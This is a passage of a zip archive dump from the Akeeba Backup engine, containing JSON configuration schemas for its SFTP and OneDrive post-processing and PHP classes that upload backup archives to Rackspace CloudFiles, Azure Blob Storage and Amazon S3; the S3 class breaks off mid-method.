        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.port": {
        "default": "22",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_USER_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.privkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.pubkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION"
    },
    "engine.postproc.sftpcurl.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION",
        "hook": "akeeba_postprocsftpcurl_init_browser",
        "buttontitle": "UI-BROWSE"
    },
    "engine.postproc.sftpcurl.sftp_test": {
        "default": "0",
        "type": "button",
        "hook": "postprocsftpcurl_test_connection",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION"
    }
}PK     \p]u	  u	  5  vendor/akeeba/engine/engine/Postproc/onedriveapp.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.onedriveapp.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.onedriveapp.chunk_upload_size": {
        "default": "10",
        "type": "integer",
        "min": "4",
        "max": "60",
        "shortcuts": "5|10|20|40|60",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.onedriveapp.chunk_upload:1"
    },
    "engine.postproc.onedriveapp.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_onedriveapp_openoauth"
    },
    "engine.postproc.onedriveapp.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.onedriveapp.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION"
    },
    "engine.postproc.onedriveapp.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION"
    }
}PK     \T+  +  3  vendor/akeeba/engine/engine/Postproc/Cloudfiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Cloudfiles as ConnectorCloudfiles;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use RuntimeException;

/**
 * A post processing engine used to upload files to RackSpace CloudFiles
 */
class Cloudfiles extends Base
{
	/**
	 * Public constructor. Initialises the advertised properties of this processing engine
	 */
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
		$this->supportsDownloadToBrowser = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		$settings  = $this->getEngineConfiguration();
		$directory = $settings['directory'];

		// Calculate relative remote filename
		$filename = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;

		if (!empty($directory) && ($directory != '/'))
		{
			$filename = $directory . '/' . $filename;
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $filename;

		/** @var ConnectorCloudfiles $connector */
		$connector = $this->getConnector();

		// Cache the tokens in the volatile engine parameters to speed up further uploads
		Factory::getConfiguration()->set('volatile.postproc.cloudfiles.options', $connector->getCurrentOptions());

		// Upload the file
		Factory::getLog()->debug(sprintf("Uploading %s", basename($localFilepath)));

		$input = [
			'file' => $localFilepath,
		];

		$connector->putObject($input, $filename, 'application/octet-stream');

		return true;
	}

	public function delete($path)
	{
		/** @var ConnectorCloudfiles $connector */
		$connector = $this->getConnector();
		$connector->deleteObject($path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		/** @var ConnectorCloudfiles $connector */
		$connector = $this->getConnector();

		// Do we need to set a range header?
		$headers = [];

		if (!is_null($fromOffset) && is_null($length))
		{
			$headers['Range'] = 'bytes=' . $fromOffset;
		}
		elseif (!is_null($fromOffset) && !is_null($length))
		{
			$headers['Range'] = 'bytes=' . $fromOffset . '-' . ($fromOffset + $length - 1);
		}
		elseif (!is_null($length))
		{
			$headers['Range'] = 'bytes=0-' . ($fromOffset + $length);
		}

		$fp = @fopen($localFile, 'w');

		if ($fp === false)
		{
			throw new RuntimeException(sprintf("Can't open %s for writing", $localFile));
		}

		$connector->downloadObject($remotePath, $fp, $headers);

		$this->conditionalFileClose($fp);
	}

	/**
	 * Returns the post-processing engine settings in array format. If something is amiss it returns boolean false.
	 *
	 * @return  array
	 */
	protected function getEngineConfiguration()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$username  = trim($config->get('engine.postproc.cloudfiles.username', ''));
		$apikey    = trim($config->get('engine.postproc.cloudfiles.apikey', ''));
		$container = $config->get('engine.postproc.cloudfiles.container', 0);
		$directory = $config->get('volatile.postproc.directory', null);

		if (empty($directory))
		{
			$directory = $config->get('engine.postproc.cloudfiles.directory', 0);
		}

		// Sanity checks
		if (empty($username))
		{
			throw new BadConfiguration('You have not set up your CloudFiles user name');
		}

		if (empty($apikey))
		{
			throw new BadConfiguration('You have not set up your CoudFiles API Key');
		}

		if (empty($container))
		{
			throw new BadConfiguration('You have not set up your CloudFiles container');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$directory = empty($directory) ? '' : $directory;
		$directory = trim($directory);
		$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
		$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
		$config->set('volatile.postproc.directory', $directory);

		return [
			'username'  => $username,
			'apikey'    => $apikey,
			'container' => $container,
			'directory' => $directory,
		];
	}

	protected function makeConnector()
	{
		$settings = $this->getEngineConfiguration();

		// Do I have authorisation options already stored in the volatile settings?
		$options = Factory::getConfiguration()->get('volatile.postproc.cloudfiles.options', [], false);
		$options = array_merge([
			'container' => $settings['container'],
		], $options);

		$connector = new ConnectorCloudfiles($settings['username'], $settings['apikey'], $options);

		Factory::getLog()->debug('Authenticating to CloudFiles');

		$connector->authenticate();

		return $connector;

	}
}
PK     \#g	    .  vendor/akeeba/engine/engine/Postproc/Azure.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\AzureModern\Connector as AzureConnector;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;

class Azure extends Base
{
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
		$this->supportsDownloadToBrowser = true;
		$this->inlineDownloadToBrowser   = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Retrieve engine configuration data
		$config             = Factory::getConfiguration();
		$container          = $config->get('engine.postproc.azure.container', 0);
		$disableMultipart   = $config->get('engine.postproc.azure.chunk_upload', 1) == 0;
		$preferredChunkSize = $config->get('engine.postproc.azure.chunk_upload_size', 10) * 1048576;
		$directory          = $config->get('volatile.postproc.directory', null);
		$partList           = $config->get('volatile.postproc.partList', []);

		// Treat directory and place it in volatile storage if it's not already there
		if (is_null($directory))
		{
			$directory = $config->get('engine.postproc.azure.directory', '');
			$directory = trim($directory);
			$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
			$directory = empty($directory) ? '' : $directory;
			$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
			$config->set('volatile.postproc.directory', $directory);
		}

		// Calculate relative remote filename
		$filename = basename($localFilepath);

		if (!empty($directory) && ($directory != '/'))
		{
			$filename = $directory . '/' . $filename;
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $filename;

		// Get the connector
		/** @var AzureConnector $connector */
		$connector = $this->getConnector();

		// Get the total file size
		@clearstatcache($localFilepath);
		$fileSize = @filesize($localFilepath) ?: 0;

		// Get facts about multipart support
		$canDoSinglePart = $connector->getBestBlockSize($localFilepath, 0) === 0;
		$chunkSize       = $config->get('volatile.postproc.chunkSize', null);
		$chunkSize       = $chunkSize ?: $connector->getBestBlockSize($localFilepath, $preferredChunkSize);

		// Only allow $disableMultipart if I can do a single part upload.
		$disableMultipart = $disableMultipart && $canDoSinglePart;
		// Force disable multipart if the file size is under the chunk size.
		$disableMultipart = $disableMultipart || ($canDoSinglePart && $fileSize <= $chunkSize);

		$config->set('volatile.postproc.chunkSize', $chunkSize);

		// Simplest case: single part upload
		if ($disableMultipart)
		{
			Factory::getLog()->debug(sprintf('Azure BLOB Storage -- Using single part upload of %s', $localFilepath));

			$config->remove('volatile.postproc.directory');
			$config->remove('volatile.postproc.partList');
			$config->remove('volatile.postproc.chunkSize');

			$connector->putBlob($container, $filename, $localFilepath);

			return true;
		}

		// Multipart upload.
		$chunksProcessed = count($partList);
		$offset          = $chunksProcessed * $chunkSize;

		if (empty($offset))
		{
			Factory::getLog()->debug(
				sprintf(
					'Azure BLOB Storage -- Starting multipart upload of %s (total size %d, chunk size %d)',
					$localFilepath, $fileSize, $chunkSize
				)
			);
		}
		else
		{
			Factory::getLog()->debug(
				sprintf(
					'Azure BLOB Storage -- Continuing multipart upload of %s, chunk #%d, chunk size %d',
					$localFilepath, $chunksProcessed + 1, $chunkSize
				)
			);
		}

		$fp = @fopen($localFilepath, 'r');

		if ($fp === false)
		{
			// TODO Throw
		}

		if ($offset > 0)
		{
			fseek($fp, $offset);
		}

		$data      = fread($fp, $chunkSize);
		$lastChunk = feof($fp);

		fclose($fp);

		$partList[] = $connector->putBlock($container, $filename, $data);

		$config->set('volatile.postproc.partList', $partList);

		// If we have not reached EOF there's more work to do uploading this file
		if (!$lastChunk)
		{
			return false;
		}

		// If we're here, we have finished uploading all chunks. Let's tell Azure to stitch them together.
		Factory::getLog()->debug(sprintf('Azure BLOB Storage -- Finalising multipart upload of %s', $localFilepath));

		$connector->putBlockList($container, $filename, $partList);

		Factory::getLog()->debug(sprintf('Azure BLOB Storage -- Multipart uploading of %s is now complete', $localFilepath));

		// Teardown of volatile data and return marking everything as all done
		$config->remove('volatile.postproc.directory');
		$config->remove('volatile.postproc.partList');
		$config->remove('volatile.postproc.chunkSize');

		return true;
	}

	public function delete($path)
	{
		$connector = $this->getConnector();
		$config    = Factory::getConfiguration();
		$container = $config->get('engine.postproc.azure.container', 0);

		$connector->deleteBlob($container, $path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			// Ranges are not supported
			throw new RangeDownloadNotSupported();
		}

		/** @var AzureConnector $connector */
		$connector = $this->getConnector();
		$config    = Factory::getConfiguration();
		$container = $config->get('engine.postproc.azure.container', 0);

		$connector->getBlob($container, $remotePath, $localFile);
	}

	public function downloadToBrowser($remotePath)
	{
		/** @var AzureConnector $connector */
		$connector = $this->getConnector();
		$config    = Factory::getConfiguration();
		$container = $config->get('engine.postproc.azure.container', 0);

		return $connector->getSignedURL($container, $remotePath, 600);
	}

	protected function makeConnector()
	{
		$config    = Factory::getConfiguration();
		$account   = trim($config->get('engine.postproc.azure.account', ''));
		$key       = trim($config->get('engine.postproc.azure.key', ''));
		$container = $config->get('engine.postproc.azure.container', 0);
		$useSSL    = $config->get('engine.postproc.azure.usessl', 1) == 1;

		// Sanity checks
		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		if (empty($account))
		{
			throw new BadConfiguration('You have not set up your Microsoft Azure account name');
		}

		if (empty($key))
		{
			throw new BadConfiguration('You have not set up your Microsoft Azure account key');
		}

		if (empty($container))
		{
			throw new BadConfiguration('You have not set up your Microsoft Azure container name');
		}

		return new AzureConnector($account, $key, false, $useSSL);
	}
}
PK     \J۩/o  o  1  vendor/akeeba/engine/engine/Postproc/Amazons3.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\S3\Acl;
use Akeeba\S3\Configuration;
use Akeeba\S3\Connector;
use Akeeba\S3\Input;
use DateTime;
use Exception;
use RuntimeException;

/**
 * Amazon S3 post-processing engine
 */
class Amazons3 extends Base
{
	use ProxyAware;

	public const STORAGE_STANDARD = 0;

	public const STORAGE_REDUCED_REDUNDANCY = 1;

	public const STORAGE_STANDARD_IA = 2;

	public const STORAGE_ONEZONE_IA = 3;

	public const STORAGE_INTELLIGENT_TIERING = 4;

	public const STORAGE_GLACIER = 5;

	public const STORAGE_DEEP_ARCHIVE = 6;

	/**
	 * Used in log messages. Check out children classes to understand why we have this here.
	 *
	 * @var  string
	 */
	protected $engineLogName = 'Amazon S3';

	/**
	 * The prefix to use for volatile key storage
	 *
	 * @var  string
	 */
	protected $volatileKeyPrefix = 'volatile.postproc.amazons3.';

	/**
	 * HTTP headers. Used when trying to fetch the S3 credentials from an EC2 instance's attached role.
	 *
	 * @var  array
	 */
	protected $headers = [];

	/**
	 * Cached copy of the S3 credentials provisioned by the EC2 instance's attached role.
	 *
	 * @var  array|null
	 */
	protected $provisionedCredentials = null;

	/**
	 * The upload ID of the multipart upload in progress
	 *
	 * @var   string|null
	 */
	private $uploadId = null;

	/**
	 * The part number for the multipart upload in progress
	 *
	 * @var int|null
	 */
	private $partNumber = null;

	/**
	 * The ETags of the uploaded chunks, used to finalise the multipart upload
	 *
	 * @var  array
	 */
	private $eTags = [];

	/**
	 * Initialise the class, setting its capabilities
	 *
	 * @return  void
	 */
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToBrowser = true;
		$this->supportsDownloadToFile    = true;
	}

	final public function processPart($localFilepath, $remoteBaseName = null): bool
	{
		// Retrieve engine configuration data
		$akeebaConfig = Factory::getConfiguration();

		// Load multipart information from temporary storage
		$this->uploadId = $akeebaConfig->get($this->volatileKeyPrefix . 'uploadId', null);

		// Get the configuration parameters
		$engineConfig     = $this->getEngineConfiguration();
		$bucket           = $engineConfig['bucket'] ?? '';
		$disableMultipart = $engineConfig['disableMultipart'] ?? false;
		$storageType      = $engineConfig['rrs'] ?? self::STORAGE_STANDARD;
		$acl              = $engineConfig['acl'] ?? Acl::ACL_BUCKET_OWNER_FULL_CONTROL;

		// The directory is a special case. First try getting a cached directory
		$directory = $akeebaConfig->get('volatile.postproc.directory', null);

		// If there is no cached directory, fetch it from the engine configuration
		if (is_null($directory))
		{
			$directory = $engineConfig['directory'] ?? '';

			// The very first time we deal with the directory we need to process it.
			$directory = str_replace('\\', '/', $directory);
			$directory = rtrim($directory, '/');
			$directory = trim($directory);
			$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
			$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);

			// Store the parsed directory in temporary storage
			$akeebaConfig->set('volatile.postproc.directory', $directory);
		}

		// Remove any slashes from the bucket
		$bucket = str_replace('/', '', $bucket);

		// Get the file size and disable multipart uploads for files shorter than 5Mb
		$fileSize = @filesize($localFilepath);

		if ($fileSize <= 5242880)
		{
			$disableMultipart = true;
		}

		// Calculate relative remote filename
		$remoteKey = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;

		if (!empty($directory) && ($directory != '/'))
		{
			$remoteKey = $directory . '/' . $remoteKey;
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $remoteKey;

		// Create the S3 client instance
		/** @var Connector $connector */
		$connector = $this->getConnector();

		// Are we already processing a multipart upload or asked to perform a multipart upload?
		if (!empty($this->uploadId) || !$disableMultipart)
		{
			$this->partNumber = $akeebaConfig->get($this->volatileKeyPrefix . 'partNumber', null);
			$this->eTags      = $akeebaConfig->get($this->volatileKeyPrefix . 'eTags', '{}');
			$this->eTags      = json_decode($this->eTags, true);
			$this->eTags      = empty($this->eTags) ? [] : $this->eTags;

			return $this->multipartUpload($bucket, $remoteKey, $localFilepath, $connector, $acl, $storageType);
		}

		return $this->simpleUpload($bucket, $remoteKey, $localFilepath, $connector, $acl, $storageType);
	}

	final public function delete($path)
	{
		// Get the configuration parameters
		/** @var Connector $connector */
		$connector    = $this->getConnector();
		$engineConfig = $this->getEngineConfiguration();
		$bucket       = $engineConfig['bucket'];
		$bucket       = str_replace('/', '', $bucket);

		$connector->deleteObject($bucket, $path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		// Get the configuration parameters
		$engineConfig = $this->getEngineConfiguration();
		$bucket       = $engineConfig['bucket'];
		$bucket       = str_replace('/', '', $bucket);

		// Create the S3 client instance
		/** @var Connector $connector */
		$connector = $this->getConnector();
		$toOffset  = null;

		if (!is_null($fromOffset) && $length)
		{
			$toOffset = $fromOffset + $length - 1;
		}

		$connector->getObject($bucket, $remotePath, $localFile, $fromOffset, $toOffset);
	}

	public function downloadToBrowser($remotePath)
	{
		// Create the S3 client instance
		/** @var Connector $connector */
		$connector = $this->getConnector();

		// Get the configuration parameters
		$engineConfig = $this->getEngineConfiguration();
		$bucket       = $engineConfig['bucket'];
		$bucket       = str_replace('/', '', $bucket);

		// Add custom content headers so the file is always downloaded to the browser instead of read inline
		$queryParameters = [
			'response-content-type'        => 'application/octet-stream',
			'response-content-disposition' => sprintf('attachment; filename="%s"', basename($remotePath)),
		];
		$uri             = $remotePath . '?' . http_build_query($queryParameters);

		return $connector->getAuthenticatedURL($bucket, $uri, 10, true);
	}

	/**
	 * Get the configuration information for this post-processing engine. Can be overridden by subclasses.
	 *
	 * @return  array
	 */
	protected function getEngineConfiguration(): array
	{
		$akeebaConfig = Factory::getConfiguration();

		$config = [
			'accessKey'                 => $akeebaConfig->get('engine.postproc.amazons3.accesskey', ''),
			'secretKey'                 => $akeebaConfig->get('engine.postproc.amazons3.secretkey', ''),
			'token'                     => '',
			'useSSL'                    => $akeebaConfig->get('engine.postproc.amazons3.usessl', 0) == 1,
			'dualStack'                 => $akeebaConfig->get('engine.postproc.amazons3.dualstack', 0) == 1,
			'customEndpoint'            => $akeebaConfig->get('engine.postproc.amazons3.customendpoint', ''),
			'signatureMethod'           => $akeebaConfig->get('engine.postproc.amazons3.signature', 'v2'),
			'useLegacyPathAccess'       => $akeebaConfig->get('engine.postproc.amazons3.pathaccess', '0') == 1,
			'region'                    => $akeebaConfig->get('engine.postproc.amazons3.region', '')
				?: $akeebaConfig->get('engine.postproc.amazons3.custom_region', ''),
			'disableMultipart'          => $akeebaConfig->get('engine.postproc.amazons3.legacy', 0) == 1,
			'bucket'                    => $akeebaConfig->get('engine.postproc.amazons3.bucket', null),
			'directory'                 => $akeebaConfig->get('engine.postproc.amazons3.directory', null),
			'acl'                       => $akeebaConfig->get(
				'engine.postproc.amazons3.acl', Acl::ACL_BUCKET_OWNER_FULL_CONTROL
			),
			'rrs'                       => (int) $akeebaConfig->get(
				'engine.postproc.amazons3.rrs', self::STORAGE_STANDARD
			),
			'alternateDateHeaderFormat' => $akeebaConfig->get('engine.postproc.amazons3.alternateDateHeaderFormat', 1)
			                               == 1,
			'useHTTPDateHeader'         => $akeebaConfig->get('engine.postproc.amazons3.useHTTPDateHeader', 0) == 1,
			'preSignedBucketInURL'      => $akeebaConfig->get('engine.postproc.amazons3.preSignedBucketInURL', 0) == 1,
		];

		// No access and secret key? Try to fetch from the EC2 configuration
		if (empty($config['accessKey']) && empty($config['secretKey']))
		{
			Factory::getLog()->debug(
				"There is no configured Access and Secret key. I will try to provision these credentials automatically. This only works when your site runs inside an EC2 instance and you have attached an IAM Role to it which allows access to the configured bucket."
			);
			$config = $this->provisionCredentials($config);
		}

		return $config;
	}

	final protected function makeConnector(): Connector
	{
		// Retrieve engine configuration data
		$config = $this->getEngineConfiguration();

		// Get the configuration parameters
		$accessKey           = $config['accessKey'];
		$secretKey           = $config['secretKey'];
		$useSSL              = $config['useSSL'];
		$dualStack           = $config['dualStack'];
		$customEndpoint      = $config['customEndpoint'];
		$signatureMethod     = $config['signatureMethod'];
		$region              = $config['region'];
		$useLegacyPathAccess = $config['useLegacyPathAccess'];
		$disableMultipart    = $config['disableMultipart'];
		$bucket              = $config['bucket'] ?? '';

		if ($signatureMethod == 's3')
		{
			$signatureMethod = 'v2';
		}

		Factory::getLog()->debug(
			sprintf(
				"%s -- Using signature method %s, %s uploads",
				$this->engineLogName, $signatureMethod, $disableMultipart ? 'single-part' : 'multipart'
			)
		);

		// Makes sure the custom endpoint has no protocol and no trailing slash
		$customEndpoint = trim($customEndpoint);

		if (!empty($customEndpoint))
		{
			$protoPos = strpos($customEndpoint, ':\\');

			if ($protoPos !== false)
			{
				$customEndpoint = substr($customEndpoint, $protoPos + 3);
			}

			$customEndpoint = rtrim($customEndpoint, '/');

			Factory::getLog()->debug(
				sprintf(
					"%s -- Using custom endpoint %s", $this->engineLogName, $customEndpoint
				)
			);
		}

		// Remove any slashes from the bucket
		$bucket = str_replace('/', '', $bucket);

		// Sanity checks
		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		if (empty($accessKey))
		{
			throw new BadConfiguration(sprintf("You have not set up your %s Access Key", $this->engineLogName));
		}

		if (empty($secretKey))
		{
			throw new BadConfiguration(sprintf("You have not set up your %s Secret Key", $this->engineLogName));
		}

		if (empty($bucket))
		{
			throw new BadConfiguration(sprintf("You have not set up your %s Bucket", $this->engineLogName));
		}

		// Prepare the configuration
		$configuration = new Configuration($accessKey ?? '', $secretKey ?? '', $signatureMethod ?? 'v2', $region ?? '');
		$configuration->setSSL($useSSL ?? true);
		$configuration->setUseDualstackUrl($dualStack ?? true);

		if (!empty($config['token']))
		{
			$configuration->setToken($config['token']);
		}

		if ($customEndpoint)
		{
			$configuration->setEndpoint($customEndpoint);
			$configuration->setSignatureMethod($signatureMethod ?? 'v2');
			$configuration->setRegion($region ?? '');
		}

		// Set path-style vs virtual hosting style access
		$configuration->setUseLegacyPathStyle($useLegacyPathAccess);

		// Set feature flags
		$configuration->setAlternateDateHeaderFormat($config['alternateDateHeaderFormat']);
		$configuration->setUseHTTPDateHeader($config['useHTTPDateHeader']);
		$configuration->setPreSignedBucketInURL($config['preSignedBucketInURL']);

		// Return the new S3 client instance
		return new Connector($configuration);
	}

	/**
	 * Try to automatically provision the S3 credentials. The credentials are searched in the following places (the
	 * first one to be found wins):
	 *
	 * - The provisionedCredentials volatile key for this post-processing engine
	 * - The provisionedCredentials property
	 * - Querying the EC2 instance we are running under (assuming we run under an EC2 instance)
	 *
	 * If the cached provisionedCredentials have expired new ones will be fetched by querying the metadata of the
	 * underlying EC2 instance.
	 *
	 * If no provisioned credentials are found, the returned $config array is identical to the input, presumably lacking
	 * access and secret keys to connect to S3.
	 *
	 * @param   array  $config
	 *
	 * @return  array
	 */
	private function provisionCredentials(array $config): array
	{
		// First, try to fetch credentials from the volatile engine configuration
		$akeebaConfig                 = Factory::getConfiguration();
		$this->provisionedCredentials = $akeebaConfig->get(
			$this->volatileKeyPrefix . 'provisionedCredentials', $this->provisionedCredentials
		);

		// I must fetch new credentials if I don't have any provisioned credentials
		$mustFetchCredentials = !is_array($this->provisionedCredentials) || empty($this->provisionedCredentials);

		if (!$mustFetchCredentials)
		{
			Factory::getLog()->debug('Cached S3 credentials were found');
		}

		// I must fetch new credentials if the provisioned credentials have already expired
		if (!$mustFetchCredentials && is_array($this->provisionedCredentials)
		    && isset($this->provisionedCredentials['expires'])
		    && !empty($this->provisionedCredentials['expires']))
		{
			$mustFetchCredentials = ($this->provisionedCredentials['expires'] + 30) < time();

			if ($mustFetchCredentials)
			{
				Factory::getLog()->debug('The cached S3 credentials are about to or have already expired.');
			}
		}

		if ($mustFetchCredentials)
		{
			Factory::getLog()->debug(
				'Attempting to retrieve S3 credentials from the underlying EC2 instance (if the site is running inside an EC2 instance)'
			);

			try
			{
				$this->provisionedCredentials = $this->getEC2RoleCredentials();
				$akeebaConfig->set($this->volatileKeyPrefix . 'provisionedCredentials', $this->provisionedCredentials);
			}
			catch (RuntimeException $e)
			{
